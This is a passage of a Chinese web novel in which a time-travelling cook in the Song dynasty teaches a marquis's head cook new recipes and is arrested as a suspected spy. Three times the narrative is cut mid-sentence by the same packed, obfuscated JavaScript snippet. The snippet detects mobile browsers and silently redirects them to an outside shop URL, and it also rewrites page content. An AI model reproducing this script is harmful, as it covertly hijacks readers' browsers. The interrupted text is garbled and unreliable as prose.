薛荔微微一笑，抬手指给他瞧：“这糕点并非买来的，而是我家铺中做的。” “此糕唤作姜枣糕，暖胃祛寒；饮子是紫苏饮，重在通经和胃，解表散寒。你是寒湿入体，寒邪上扰心神，才致痉厥倒地。此病症说大不大，说小却亦不小，为了自己的身子着想，我劝郎君还是去医馆瞧瞧罢。” 郭栗祥一听，眼睛瞪得圆圆，嘴角还挂着点没擦干净的糕沫，半晌说不出话来。 须臾，他一拍大腿：“妙哇！当真妙手回春！竟靠两味食物便解了我这一场急病。小娘子，我本以为你只是手艺好，却不料亦精通药理！” 薛荔摇头：“郎君言重了，不过是幼时从家耶那儿学了些皮毛，若说精通，小女子愧不敢当。” 至于他赞的姜枣糕么...... 其实，薛荔的做法同街市上寻常枣糕的做法并无太大区别，唯有一点不同，那便是添入了些前些时日从大食商人处买来的细兰国肉桂粉。 这细兰肉桂比宋朝的普通肉桂甜感更柔，且有异域风味，掺入姜枣糕中，可与姜味碰撞出辛香甘甜之二重奏，这才使得这位有着三十年厨龄的老饕厨监郭栗祥舌尖感到新奇。 四周凑热闹的人群早在郭栗祥醒后便渐渐散去，便是此时腿脚尚有些虚软，他也神神秘秘地将薛荔拉至一旁，一脸敬服，拱手作揖道：“实不相瞒，某乃宁武侯府厨监郭栗祥，今日蒙小娘子大恩，郭某铭感于心。只是还有一事，某欲求小娘子相助。” 原是侯府的厨子。 薛荔忆起来。 宁武侯府？那不正是当今官家特御榜招厨的勋贵之家么？ 她心思一转，不禁暗自腹诽—— 如此一来，这宁武侯府的厨子做饭得是有多难以下咽，才能将官家都惊动得下旨招厨？ 还是说，那侯爷本人刁钻古怪，难以伺候？ 薛荔脑补了一场大戏，却不知郭栗祥见她听罢身份来历，神色依旧淡定从容，不但没有逢迎，连句多余的恭维都无，不由心头一紧，越发敬佩。 想不到这位小娘子年纪轻轻，竟如此沉得住气，果然不同凡响，不愧是他看中的人。 他压下心思，肃然开口：“小娘子厨艺高明，又通药理，药食结合之道把握得恰到好处，正合眼下侯府所需，若不嫌弃，某可引荐小娘子入侯府庖厨，月俸自会比如今起早贪黑，辛劳开店要高出几倍，且年节赏钱也极可观，不知小娘子意下如何？” 话句句诚恳，轮番砸来，薛荔险些听蒙。不过是吃了她一块糕，怎么就要将她人都挖走了？ 虽说她穿越来了这繁华富贵的大宋，但亦未想过非得出人头地，只是打算体验体验宋朝的风土人情，做个小本买卖，每日过得滋润自在些，至于开店与否，其实也无甚执念。 可话虽如此，若真要论起挣钱来——侯府的月俸那叫一个高，做起事来是比她每日气喘汗流地张罗珍味铺中的事儿来得轻松。 但从种种迹象看来，那宁武侯似乎很是刁钻刻薄呀！ 若真进了那侯府谋差，自己指不定得奴颜婢膝，小心翼翼地在他眼皮底下讨生活。 磕头哈腰不说，稍有差池脑袋还不保——多不自在？ 她这边心思还没理顺，那头郭栗祥已正眼巴巴地候着她回话了。 他那张圆圆胖胖的脸本就瞧着和善，加之目光殷切，倒让薛荔生出几分不忍来。 “这......”她歉意地笑笑，“厨监一片好意我心领了。只是儿家不过乡野出身，不谙府中礼节，怕是一入侯门便冲撞了贵人，反倒误了事。再说，若我真走了，珍味铺的众人可怎么办？铺子一关，他们饭碗也就砸了，日后再讨生活，只怕更是艰难。” 薛荔此话说得着实并非托词。 若她走了，喜鱼怎么办？ 那三个小乞儿又该何去何从？ 他们如今虽算不上锦衣玉食，但好歹吃穿不愁、住得安稳，她怎舍得再看他们回到过去那种东躲西藏、半饥半饱的日子？ “而今官家不也张皇榜为宁武侯选厨了么，郭厨监不必忧心，想来不出几日，您便可多一位与徒了。” 薛荔原是想婉转推辞，又不失体面地谢过郭栗祥的美意，哪知这话一落地，便瞧见那饼大一张脸微微一垂，紧接着，其上一对黄豆大小的眼里竟是“唰”地淌下两道清泪，顺着脸颊滚落下来。 “厨监您这是……欸，莫哭呀。”薛荔慌忙递上手帕，心中尚飞快思忖着自个儿先前哪句话戳中了他痛楚，竟叫人家哭得这般伤心。 郭栗祥抬手挡了她的帕子，自己摸出块洗得发白的帕子擤了擤鼻涕，鼻音浓闷，声泪俱下：“无妨无妨……只是小娘子你有所不知，官家下旨选厨，也正是因侯爷自负伤之后，便几乎不再吃我烧的菜。新厨子一日不来，我这颗心哪就成天地吊着，唯恐哪天官家龙颜大怒，要砍了我的头治罪呐......” 说到后头，郭栗祥泪流得那是更惨了，原本白白的大饼逐渐涨成酒红，五官难过地皱成一团，硬生生让人瞧出几分打工人的心酸凄凉。 薛荔瞧着那张酒红大饼——哦不，郭栗祥的脸，不禁有些动容，郑重地拍了拍他肩头：“厨监能在侯府里头谋事多年，必定是有真本事傍身的。至于侯爷，他鲜少再吃你烧的菜，想来也当是沙场上伤及脾胃，动了元气，这才胃口不佳，假以时日调理，日后定可恢复如前。” 话虽温和，可薛荔却说得格外有底气，这叫郭栗祥听得心头一暖，抬起一双红肿的豆眼看向她，眼底闪烁着明光：“小娘子此话，莫非是有法子？” “法子自然是有的。”薛荔笑意轻扬，“我虽不能随你入府，但——若是换个法子，可就两说了。” - 宁武侯府邸。 房中药香苦涩，隐隐还混杂着一缕血腥气。 齐恂端肃坐于案前，双手搭于膝头，身上未着外袍与中衣，小麦色的肌肤大片外显。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16676892|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 视线顺延而下，肌理分明的腹肌左侧盘桓着一道蜿蜒刀伤，痕迹深重，医官见了都不禁蹙眉，他却一派沉静自持模样。 翰林医官使正小心翼翼地换药，动作熟练，亦不失恭敬，照例问询：“侯爷近来伤处可还有隐痛？前日开的舒肝和中之方，服后脘腹是否舒缓些了？” 齐恂低头看了眼腹部重新包扎好的伤，转而利落穿衣，淡声应道：“皆有所缓解，且不至阴雨日，伤处便不再作痛，医官使辛劳。” “为侯爷诊疗乃下官本职。”医官使笑着起身，“官家一直挂念侯爷伤情，若知您已大有起色，必定宽心。” 说罢，他似想起什么，又道：“听楚总管言，侯爷这几日食欲渐好，看这情形，不日便可痊愈如初。” 齐恂整理衣袍的动作微顿，眼底掠过一丝不易察觉的松动。 饮食上，他心中有数。 近来食欲转好，草药调理是其次，真正起效的——反倒是府中庖厨做出的那些道菜。 不知怎的，原先觉得无甚滋味，前几日起竟忽然变得格外对味。 譬如前日那道酸豆闷鹅掌，酸香适口，鲜味浓郁，入口后竟能激起一丝早已寡淡的食欲。 又譬如昨日傍晚送来的鲫鱼羹，鱼肉细腻，汤里竟还透出一缕枣香的清甜，他鬼使神差地便喝了两盏。 说来怪极，他的餐食向来都由郭栗祥亲自掌勺。那人稳扎府中多年，手艺早被他摸得一清二楚——中规中矩，求稳不出错。 可近日以来，他竟像是被什么灵感砸了脑袋似的，顿顿出新，餐餐称奇。 莫不是换了双妙手？ 正思忖间，门外传来脚步声，云冯捧着早膳走入，脚步稳当，将早膳一一摆上矮几。 “侯爷，今日早膳，豆腐羹一盏，清蒸鲈鱼一盘，糟瓜齑?一碟，还有这个……”云冯边说边神秘打开一只竹盒，里头赫然露出两个小巧的面点。 那面点形制颇为别致，半月状，表皮金黄，中间鼓，两头垂，层层起酥，还透着股奶香。 齐恂眸光一凝，语气顿了顿：“这是？” 云冯特别介绍：“是今日郭厨监新做的面点，他说名唤‘牛角包’。” 齐恂垂眸看着那点心，不觉想起前些时日齐悦从街市回府时的景象。 那时的她偷偷揣了个甚么物什在怀，约莫亦是吃食，左藏右藏，捂得死紧，连自己将东西压扁了都不知，只顾着提防他在何处。殊不知，其实他早就瞧见了。 原样原是此物，尖尖鼓鼓，倒也真有几分牛角的模样。 他捏起一个，指尖方一用力，那焦糖色的酥皮便簌簌而落。 送入唇中，两齿一合，层层叠叠的酥皮在齿间炸开，奶香裹着微甜，酥而不碎，脆中带绵，竟叫人味蕾一震，刹那之间，泛起些许久违的满足感。且越吃，竟越觉腹中饿了起来。 云冯见他似乎胃口不错，不由得高兴起来：“厨监不愧是侯府老厨，最是知悉侯爷的口味。” 齐恂以指腹拂去残屑，神情却不动如山。 正因郭栗祥是府中老人，这般突如其来的手艺转变，才更显可疑。 21. 擂落苏皮蛋 他将牛角包放回竹盒，目光淡淡：“云冯，去查查郭厨监近几日可曾离府。若离开，去过何处，见过谁人，几时回来，一并回禀。” 云冯一怔，见他神情俨然，不敢多问，微俯身应下：“是，属下这便去查！” - 话说，自打领了命，云冯便三天两头地盯着郭栗祥的动向。 谁料想，这侯府老厨监平日里瞧着老诚憨厚的，可偷偷摸摸起来，竟还有两把刷子。 他为了侯爷安危，盯得那是眼都冒了红血丝，终在这日，见郭栗祥使唤开了帮厨，悄悄地从院后门溜了出去。 云冯双目一亮，当即跳下树，悄声无息地跟了上去。一边追踪，一边在心里暗暗祈祷——但愿郭厨监千万不是甚么敌方派来的细作呀！ 这么些年来，他托侯爷的福，日日得享郭厨监的手艺。虽说滋味早有些吃腻了，可近日来，郭厨监的手艺忽然精进不少。 光是回味起这两日他下肚的奈香盒蟹、笋焙鹌子、鸭血细粉、海盐蛇鲊......咳咳，他就打心底里盼着郭栗祥能够清清白白地留在侯府。 云冯晃了晃脑袋，甩开脑海中的美味佳肴，眼见着郭栗祥走到一处食肆后门口停下，贼眉鼠眼地左顾右盼一番，确认四下无人，这才抬手轻叩门。 不过多久，里头的人便为他将门打开。 云冯眼睛紧盯着那扇门，欲逮中那人究竟是何人，却只见门缝裂开一小条，板板后探出个秀气的小脑袋瓜。 ——那女娘眉眼温和，发髻低挽，鬓边垂着两缕细碎的发丝，衣着素雅，清清爽爽。 他眼睛一瞪，险些惊呼出声——这不是前阵子在兴国寺旁卖云酥包的那位薛小娘子么！ “薛店主，某又来叨扰你了。”郭栗祥和善地朝她行了个叉手礼。 薛荔忙将他迎进后院：“厨监就莫要同我客气啦，昨日我教你的‘牛角包’方子，今日你可派上用场了？可还合宁武侯胃口？” “合，自然是合的！”郭栗祥连连点头，面带得色，“你有所不知，自打这段时日我在你这儿学厨后，侯爷对我做的饭菜那是又重新燃起了胃口，我这颗悬着的心啊，可算是落了地。只不过，亦惭愧得紧。你说说，我混迹庖厨三十多年，手艺竟还不如你一个小娘子，着实教人面羞啊。” “厨监这是折损自个儿了。”换薛荔看来，如郭栗祥这般练达老成的厨子，从业三十余年，还能够放下身段向年轻人学习，已远远胜过绝大多数人了。 她教他厨艺，自然也不止是出于好心。 郭栗祥乃宁武侯府厨监，放在现代来讲，那也算得上是正经编制了，工作稳定，身份体面，不愁他把配方拿去做生意。 再说，平日府中贵人的吃食菜品皆由他过目定夺，而这些个王公贵族又好宴会，若她能同郭厨监打好关系，日后宴席上的大菜不讲，至少糕点小食里头，她还是能捞些好处的。 薛荔将他带入厨房，拎起两只紫黑圆润的落苏，朝他晃了晃：“今日咱们来做一道下饭菜！” “落......落苏？”郭栗祥瞧着她两手提溜着的物什，面上犯难，“薛小娘子你是不知，我家侯爷什么都吃，可唯独不吃落苏，饶是此菜再开胃，可开不了侯爷胃口，我学了亦是白搭呀。” 薛荔一听，拎起两只落苏的手又垂了下来，略有懊恼。 这宋时的“落苏”，也就是茄子。 她一个月前便腌好了皮蛋，本是打算做一道擂辣椒皮蛋的，奈何这年头辣椒还没传进来，是以只能退而求其次，用茄子加茱萸代替辣椒烧软后那种绵软辛香的口感了。 谁成想，那侯爷偏偏不食茄子！ 当真嘴刁！ 亏她还想着要让千年前的河南百姓们感受感受湘菜的魅力呢，真是踢到铁板。 薛荔费尽唇舌地劝解郭栗祥大半个钟头，终是以“好厨子不嫌花招多”为由，硬是说服他学一学这道“擂落苏皮蛋”。 就算是做给旁人吃，那亦是好的呀。 郭栗祥见薛荔从陶瓮之中取出数个脏兮兮的蛋状物什，忍不住问道：“薛小娘子，你这是鲊的何物什？” 薛荔掏出四枚皮蛋，抬手凑到他脸前解释：“此物名曰‘松花蛋’，莫瞧它此刻浑身裹泥，待到洗净、剥壳后，你还可看见上头漂亮的雪花纹哩。” 那皮蛋正在郭栗祥鼻子底下，他嗅到那股子说不清，道不明的奇怪味儿，脸色微变，连连往后退了好几步：“这……这东西真能下锅？” “此物可是此菜之灵魂，岂能少它？”薛荔骄傲地将自制皮蛋又往郭栗祥跟前凑了凑，吓得他是以迅雷不及掩耳之势将口鼻捂得死紧，只留一对绿豆大小的眼珠溜溜地瞪着她。 “我执事多年，还从未见过有人如此糟蹋......咳，料理鸭蛋，你是如何想出的？” “这就说来话长了。” 这皮蛋的做法虽是在明代泰昌年间才得以被误打误撞地发掘而出，但她在大宋却亦可利用身旁现有的原料自制。 先选上十几枚光溜圆滑的青壳鸭蛋，洗净晾干，再用生石灰粉、草木灰和浓茶水调和而成的碱性泥浆包裹住，外层再滚上一圈稻壳防粘连，最终放入陶瓮之中，置于阴凉处密封储存。 约莫候上一月，便可收获晶莹剔透的皮蛋了。 薛荔一面同郭栗祥说道皮蛋的做法，一面将蛋剥壳给他瞧。 黑青色的蛋白上浮着星星点点花纹，似是冻湖的湖面上绽放开来的洁白雪花，令人称奇。 郭栗祥终于凑近了些，低头盯着她手掌心里那枚圆滚滚的皮蛋，一反方才的敬而远之之态：“嘿！奇了，这蛋居然是玄色的，且还生了花？” “这花纹呀，就是方才你嫌弃的外壳上裹着的那层泥巴造出的。” 其中的原理薛荔从前也了解过一二，包裹鸭蛋的泥浆是以碱性物质混合而成的，这些物质会通过蛋壳上的微孔渗透入内，与蛋白中的氨基酸反应生成氨基酸盐，后者再以几何形状的晶体析出，便成了雪花、松针样式的花纹。 不过时人哪知晓那多呢？看着稀奇就是了。 薛荔将那黝黑透亮的皮蛋一分为二，里头墨绿色的蛋黄正流心：“来，尝一个？” 她自个儿咬了半边，又将剩下半边递给郭栗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16695172|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 祥。 “不了不了。”郭栗祥忙摆手，一脸警惕地瞅着那黑黢黢的鸭蛋，悻悻笑，“我有一事，还是再同你确认一遍的为妙——你当真要将此物拿来做菜？” 薛荔无奈地将半边皮蛋往口中一塞，忿忿道：“不但要拿来做菜，我还要你亲口尝哩！” 薛荔拎起两只落苏，没去皮，直接埋入灶膛余烬中煨烤，待外皮烧至焦黑时，拿竹签往里一戳。戳得入，便是内瓤软烂，可以取出。 她用火钳将落苏夹出，放凉后剥去焦皮，撕成细条状备用。 接着又往石臼中放入蒜泥、姜末、芥子、茱萸，以石杵捣碎至辣香扑鼻，再加入落苏条与皮蛋，豉汁、米醋与胡麻油，一齐捶捣，直至茄蛋交缠难分，最后再撒上一撮熟芝麻。 熟悉的香辣味儿扑面，惹得人食指大动。 既是擂菜，还得是就着臼子吃才最有滋味么。 薛荔懒得重新装盘，也等不及再去取碗碟了，就着石臼，抄起筷一夹，递到唇边时，忽地又想起什么，手腕一转，朝郭栗祥送去：“你要不尝第一口？” “不不不，薛小娘子先请。”郭栗祥赶紧往后一跨，脑袋晃得跟拨浪鼓似的，一副生怕被强塞的模样。 “真的好吃啊，你怎就不信呢。” 薛荔无奈叹了口气，将筷尖那擂菜送入口中，唇舌碰触到吸满酱汁、挂着碎皮蛋的落苏的那顷刻，似有火焰在舌尖点燃一般，辛辣激刺之味烧遍整个口腔。 她的脸颊倏然烧红，低垂着脑袋，一时之间竟说不出半句话来。 郭栗祥见她这模样，只以为是此菜口味犹如啮檗吞针，把她给难吃住了，忙递上渣斗：“早劝过你了罢？瞧着就黑不溜秋的怪物，哪能下肚？偏你这小妮子不信邪，硬要以身试毒，栽了罢？” 薛荔晃了晃脑袋，推开渣斗，垂头撑在桌沿边，静默对着那钵子，好一会儿后，忽然低笑出声：“谁说不能下肚？” 郭栗祥奇怪地瞅着她：“那你脸红得跟猴屁股似的？” 他还以为她那是难吃却又碍口识羞，是以被憋红了脸哩。 “脸红就代表此菜够辣呀，辣就对了！” 自打穿越来了这大宋，她已太久未尝过如此直冲心肺的辣意了。 今日这一口擂落苏皮蛋，活生生勾出了她尘封的湘菜魂，叫她险些感动得落泪。 薛荔眼眶发热，嘴上却不停，又夹起一筷黑青色的皮蛋碎，，迎着郭栗祥紧皱着的川字眉咀嚼起来，甚是享受：“若是有青椒就更妙了......” “青甚么？”郭栗祥没听清，困惑皱眉。 “没、没啥。”薛荔一愣，忙打哈哈，又一把拉住他，“我是说，若能得你这位资深老饕青睐，说不准我这小食铺能立马声名鹊起呢！” 说话间，薛荔捉起筷子往石臼里一探，夹上来一团黑糊糊、黏巴巴的不明物什，当即便要塞进他嘴中。 郭栗祥瞧得毛骨悚然，眉头一挑，老脸一皱，甩袖便逃。 “诶！厨监你跑甚！这一口保你此生难忘！” “那黢黑玩意儿，只怕吃下肚，我此生也就到头了！” 22. 出水芙蓉狐 “可你这做厨子的都不尝，要怎么给侯爷做这道菜？” 郭栗祥逃，薛荔抱着石臼追，一路小跑，脚步乓乓响。 正追得起劲，忽听前头拐角处“咚”的一声巨响，接着传来一声“哎哟”，听着动静不小。 薛荔停下，抱臼叉腰歇气，气喘吁吁：“早劝您莫跑，今个栽跟头了罢？” 她哼哼着转到转角水缸旁，只见郭栗祥正狼狈趴在地上，口被抹布堵住，两手被绳索反绑于后背，像条翻了身的鱼般，滑稽地扑腾挣扎着。 这一出又是哪门子新花样？ 薛荔一手还搂着石臼，愣了半晌。 “薛店主。” 一道略显耳熟的声音自背后传来。 她闻声转身，却见一名青年郎君立在身后，腰佩长刀，衣袂整洁，冲她微微一笑。那笑意看似和气，落在人眼里，却叫人莫名觉得脊背发凉。 “欸，你不是那天晕在我摊前——”薛荔正疑惑着，地上忽然传来一阵动静。 郭栗祥脸朝泥地，费劲将口中的抹布吐出，转而仰头惨兮兮望着那青年，哭丧着脸叫道：“云近卫，你这可是冤枉我了！我这么做，可都是为了侯爷呐！” 云冯神情冷峻，哼了一声：“你究竟是何居心，待押你回府，侯爷自会亲审。” “近卫？”薛荔眼皮直跳，倒抽了口凉气。 敢情这人居然是宁武侯的近卫？亏那日他还晕倒在她云酥包摊前，原是故作虚弱，就想插队混口吃的！ 难怪说“人各以类相通”，这下她心底里更确信那宁武侯也不是个甚么端人正士了。 心中正腹诽着，她一抬眸，冷不丁又撞上云冯那寒霜似的目光。 “这位贵客。”她悻悻笑着，干巴巴凑出声，“上回吃的云酥包滋味如何，此番特意光临，可是还欲……” 云冯却懒得与她兜圈子，抬手打断，语气不容置疑：“薛小娘子，侯爷有请。” ……完了完了。 薛荔心里一沉，抱着石臼，堪堪挤出一个欲哭无泪的笑容。 - 兴国寺街头。 齐悦正欢快哼着小曲儿，迈着悠哉游哉的步子往薛记珍味铺走去。今儿她心中煞是高兴，嘴角都快扬到天上去。 缘由无他，无非是去寺庙礼佛时，恰好碰上了礼部侍郎家的二姑娘，对方刚瞧见她，眼睛就直勾勾地盯住她的手臂看，惊呼：“哎呀，齐家妹妹，你这臂膀怎么纤细了一圈？可有何秘方传授与我？” 齐悦当场便笑得嘴角难压。 她做京中贵女这些年，向她请教诗词歌赋的有，琴棋书画的也不少，可唯独讨教这“瘦身之道”的，还真是头一回。 ——这不亦正好说明，她这阵子在纤体上下的功夫饶有成效了嘛？ 话说回来，她虽在那礼部侍郎家的二姑娘面前有夸大之嫌，但倒亦不无诚实地想了想：自个儿最近吃的那些饭菜，好像也没添些什么特别的物什呀，不过是照着阿荔定制的食谱吃吃喝喝，少油少盐、干干净净么？ 难道……真的就这么管用？ 齐悦皱着眉头苦思许久，又觉得不对劲。 若说是因饮食，那为何那姑娘只说她“臂膀纤细”？难不成，是因为她近来总拎些珍稀食材往珍味铺跑，锻炼出来了？ 斗争一番仍不得解，齐悦晃了晃脑袋，望珍味铺一瞅，竟见铺外围了乌泱泱一群人，喧哗声不绝于耳，可铺中却寥无食客。 这是怎么一回事？ 齐悦方欲往里冲，就被旁边一看热闹的大娘拦住了：“哎哎，小娘子，你还敢往那家食肆凑？” “为何不敢？”齐悦惑然皱眉，“可是出了什么事？” “你不晓得？这珍味铺的东家都叫宁武侯抓取盘诘去了，恐是敌国细作！吃不得，吃不得！” “什么？！”齐悦一听，瞠目咋舌。 莫不成，阿兄知晓她在珍味铺包月食饭之事了？可这又何必抓人呢，未免太小题大做了吧！ 她急切地问：“这是几时的事？” “也就一刻钟前的热乎事儿。” 齐悦来不及多问，提起裙摆便冲进铺里。 后院里，姜喜鱼和三个小娃娃亦是急得团团乱转，一个个脸红脖子粗的，活像灶间里烧红了底直冒烟的干锅。 “喜鱼！”她略显心虚地唤住她，“这事是我不好，你莫慌，我来想法子！” 事情皆因她而起，说什么也不能叫阿荔受了委屈。 姜喜鱼正绕着院子里的大水缸转圈，听见她声音，满腔义愤地停下打转：“你有啥不好的，我瞧都怪那侯府的老厨监，自个儿厨艺不中，每日偷摸地跑来阿荔这来学艺，临了还拖累了她！” “你说甚么？”齐悦瞪大了眼，“侯府？哪个侯府？” 姜喜鱼没好气，却也不是冲着她的：“还能是哪个侯府，声名赫赫、气焰嚣张的宁武侯府呗！” - 侯府院落。 郭栗祥被五花大绑地捆于院中，嘴塞抹布，豆大的眼睛苦恼地眯起，瞅着云冯，一副可怜兮兮被冤枉了的样儿。 一旁的薛荔较他稍好些许，双手反剪束缚于后背，整个人摁跪于地上，虽说不大体面，可好歹嘴里没被堵块抹布，尚可开口说话。 宁武侯还未到，只有云冯同几个侍卫看守二人。 “你说，这小娘子瞧着柔柔弱弱的，真是来害咱侯爷的？” 阿福打量了薛荔一番，见她身子骨纤细，又是一派柔婉模样，现今温顺地低垂着头，鬓边几缕青丝凌乱垂落于两颊，好若出水芙蓉，怎么瞧都不似细作啊。 云冯一拧眉，拿刀柄捅了捅他，训道：“你小子懂甚么，软刀子才真割人呢！更何况，她要真往侯爷饭菜里下毒怎么办？” 阿福讪讪地摸了摸后脑勺，云冯瞅着地上的薛小娘子，不免又惦记起云酥包的滋味，心中直感慨——但愿这都是误会一场。 此刻，众人眼中楚楚可怜的薛荔虽低着头，可一双水灵灵的眼珠子却偷偷直转悠。 她当真是冤枉！ 不过是好心好意教了郭厨监几道菜，怎就被当作细作抓起来了？ 世风日下，真是好心做了驴肝肺。 她那小狐狸似的眼眸底下倏地闪过一道光亮，眼下也顾不得什么颜面了，说什么也得从这位近卫口中探探宁武侯是何脾性。 于是乎，她吸了口气，故作伤心地轻轻抽啜了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16703093|188378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下，泪眼朦胧地抬首望向云冯：“云近卫，儿家......” “少来。”云冯持刀一横，在她梨花带雨的前一刻硬生生逼停了她的演技，“待侯爷亲自审你，再说亦不迟。” 嘁，真冷漠。看这架势，他主子亦差不离了。 见她还欲张口再说，云冯简明道：“还是说，你也想把嘴堵上？” 她才不想尝抹布的滋味哩。 薛荔暗地撇了撇唇，又将头垂下。跪得膝盖都磕疼了，那宁武侯怎地还不来审她？早审早了结，方才闹了那么大一通，眼下只怕珍味铺已成了街坊邻里的谈资了，她那生意还做不做了！ 齐恂踏入院中时，瞧见的便是这样一般景象。 云冯正有棱有角地审着那间罪女娘，而小娘子则泪眼婆娑，两条细长的柳叶眉忧悒敛起，眼中一汪秋水泫然欲滴，双肩轻轻颤抖，连带着腰间朱樱香囊上的流苏亦簌簌舞动。绦带纤细，勾勒出那一截楚楚纤腰…… 不知云冯又说了何话，那小女娘黯然神伤地垂下头，无奈地再不动作。 齐恂于不远处观察她良久，而那小娘子显然警觉得很，觉察出有人暗观，怯生生一抬眸，恰好撞上他视线。 她那双狐狸眼真是生得极妙——蛾眉曼睩，眼尾处斜斜上挑，如若春风拂起的柳枝。 若只如此或许有些浮艳，偏生她睫毛又密又长，轻轻一眨，便于眼睑投下小扇似的暗影，凭添几分狡黠可爱。 齐恂淡淡移开了眼眸，避开那道过于炽热的视线，随即自假山后缓步而出。 瞧见齐恂步入院中，地上的郭栗祥眼前一亮，当即含糊不清地“唔唔”叫唤起来。 云冯上前将抹布抽出。他连咳带呛，咄了两口唾沫星子，顾不得狼狈，扯着嗓子朝齐恂诉起苦来：“侯爷，小人冤呐！小人当真是冤枉呐！” “冤在何处？”齐恂自若坐入太师椅中，语气不急不缓，余光稍睨一眼一旁仍似柳弱花娇、楚楚可怜的薛荔。 “小人去薛小娘子铺中，只为学厨艺，并非甚么细作呐！”说着，郭栗祥饼大一张脸渐渐被泪水泡发，一把鼻涕一把泪道，“自侯爷负伤归来，对小人做的菜肴是愈发提不起胃口，小人看在眼中，这心底里亦是如烹如煎。偏巧一日，有幸尝到薛小娘子手艺，小人当真是佩服得五体投地，便想着请她进府做庖厨，奈何薛小娘子不愿，小人才想着亲自上门讨教啊！ “你掌厨三十余载，如今倒不愧下学，向一小娘子学艺了？”齐恂淡声道。 此话实然不假，饶是旁人听罢亦会觉稀奇，堂堂侯府厨监，怎还比不过初出茅庐的后生了？ 一旁的云冯微动嘴唇，却终究没说话。 他心里却是清楚的——薛小娘子的云酥包他接连吃过好几回，口味是莫可赞一辞。郭厨监虽厨艺谙练，但论起新奇的吃食滋味，哪比得过古灵精怪的薛小娘子呢？ “小人不敢欺瞒侯爷，今儿个云近卫冲入珍味铺抓人时，我正跟薛小娘子学做菜呢。” 闻此言，薛荔纤薄的身子一僵。 完了完了，今日那道菜滋味虽甚美，可卖相实在是……说是下下乘都算委婉了。 这宁武侯又刁钻峻刻，也不知他识货不识？ 23. 狐狸与冰山 果如她想，当云冯将那臼子黑黄相间、黏黏糊糊的菜端上来时，齐恂的脸色当场沉了几分。 那菜分明是几团黢黑、几抹珀色的块状物什。同几缕土黄绵软的丝状物搅拌缠于一处，活像拿来喂鸡鹜的剩羹腊水，色泽作呕，极有碍观瞻。 “这便是你二人合力之作？”齐恂蹙眉，眸光落定于薛荔，“你可有话要说？” 被点到名的薛荔早已备好一张可怜兮兮的脸，绵言细语地回他：“回侯爷的话，此菜名唤‘擂落苏皮蛋’，乃儿家自创的新菜。其中的皮蛋乃是以鸭蛋裹浆，瓮藏数旬制成，虽外观鄙俚，但滋味却是极佳的。” 云冯闻言，上前一步：“侯爷，此菜色泽发黑，恐含毒物，不可轻信她之言！” 好你个浑小子！当初真是白送云酥包给你吃了! 眼瞅着齐恂眉宇间仍凝着不悦，薛荔忙再道：“这位近卫抓我前，我已先吃过好几口，若真有毒，怕也活不到被抓那时了！更何况，郭厨监亦可亲试此菜，以证绝无毒害！” “嗯？！”郭栗祥的眼瞪成蚕豆大小，紧瞪着薛荔：“我、我我......” 齐恂微抬手，云冯立刻会意，将石臼和碗筷摆在郭栗祥面前，松了他的绑：“郭厨监，请。” 郭栗祥可谓老泪纵横。 早知如此，当时他就该硬着头皮尝一口，瞧瞧，躲来躲去，不照样得吃？ 他抖着手抄起筷子，颤巍巍地悬于那堆古怪东西上方许久，迟迟不落，瞧得薛荔心底那叫一个火烧火燎。 再这般扭扭捏捏下去，就算菜里真没毒，也该被认成有毒了，且还是鸩毒！ 薛荔轻咳两声示意，惹得郭栗祥欲哭无泪地瞟了她一眼，终是闭眼一狠心，夹起一筷，速速塞进嘴里。 谢天谢地，总算是吃了。 薛荔这才松了口气，刚要收回视线，却冷不防又撞上了齐恂的目光。 这宁武侯，没事怎总盯着她瞧？ 要不是眼下自个儿有些心虚，她真得像方才他藏身假山后时一样，逮住他目光，死死盯回去——哼！ 薛荔看似温顺如水地垂下头，却错过了齐恂眼底那抹似有若无的笑意。 另一边，郭栗祥方将这道擂落苏皮蛋含进嘴里，刚开始都未曾细嚼，打算一股脑囫囵吞下。可那滋味一过舌尖，他眉头竟不由自主地松了开来—— 咦？这味儿……似乎，比他想象中的好得多？ 郭栗祥愣了愣，又忍不住夹起一筷子塞入嘴中，细细品味。 灰黑的溏心缓缓流淌，如熔岩般裹挟着皮蛋黝亮的水晶外壳，入口脆弹醇厚。吸满酱汁的茄条早已在石臼里被擂得绵软，此时卷起蒜末与茱萸碎，仿若与皮蛋溏心交织成一片混沌缠绵的云。 